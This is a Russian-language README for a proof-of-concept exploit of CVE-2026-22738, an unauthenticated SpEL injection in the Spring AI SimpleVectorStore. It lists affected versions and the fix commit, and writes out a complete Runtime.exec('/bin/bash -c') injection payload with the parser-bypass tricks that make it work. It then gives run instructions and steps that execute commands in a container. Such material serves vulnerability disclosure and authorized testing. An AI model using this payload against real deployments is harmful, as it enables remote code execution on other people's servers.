
Эксплойт proof-of-concept для CVE-2026-22738, критической RCE-уязвимости через внедрение SpEL в Spring AI SimpleVectorStore, демонстрирующий неаутентифицированное выполнение OS-команд.
Неаутентифицированное удалённое выполнение кода через инъекцию в Spring Expression Language (SpEL) в SimpleVectorStore.similaritySearch().
| Артефакт | Уязвимые | Исправленные |
|---|
org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
Коммит с исправлением: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
SimpleVectorStore.similaritySearch() передаёт имя ключа фильтра, предоставленное вызывающей стороной, без изменений в шаблон SpEL, вычисляемый с помощью StandardEvaluationContext. Поскольку StandardEvaluationContext открывает полный API рефлексии JVM, злоумышленник может внедрить:
T(java.lang.Runtime).getRuntime().exec(...)
в ключ фильтра для достижения неаутентифицированного выполнения OS-команд.
Наивная инъекция не работает «из коробки» — необходимо обойти две особенности парсера:
', рассматривается как строка в кавычках; внешние кавычки удаляются, искажая полезную нагрузку."..." заставляет парсер удалить внешние двойные кавычки, оставляя внутреннее SpEL-выражение нетронутым в качестве значения ключа, передаваемого в #metadata['<KEY>'].#metadata[''] с обеих сторон внедрённого выражения (вместо неопределённой переменной) позволяет избежать ошибки SpEL unknown variable, при этом всё равно вызывая exec().Результирующее вычисленное выражение принимает вид:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
Тело HTTP-ответа будет содержать EL1030E — ошибку выполнения SpEL:
operator ADD not supported between null and java.lang.ProcessImpl
Эта ошибка возникает после возврата из exec(), что подтверждает выполнение OS-команд без необходимости во внешнем (out-of-band) канале связи.
Предварительные требования:
pip install requests
Запуск эксплойта:
python3 exploit.py [--target http://localhost:8082] [--wait]

Docker Desktop (macOS/Windows): используйте host.docker.internal вместо 127.0.0.1 для полезных нагрузок с обратным вызовом.
PoC выполняет пять последовательных шагов:
| Шаг | Описание |
|---|---|
| 1 | Базовая проверка — подтвердить доступность конечной точки и возврат предварительно загруженных данных |
| 2 | Слепой SpEL-зонд — прочитать java.version через T(java.lang.System) для подтверждения точки инъекции |
| 3 | RCE: touch /tmp/pwned_cve_2026_22738 внутри контейнера |
| 4 | RCE: записать вывод id / uname / hostname в /tmp/rce_proof.txt |
| 5 | Проверка через docker exec — вывести содержимое файла доказательства |
Данный proof-of-concept предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.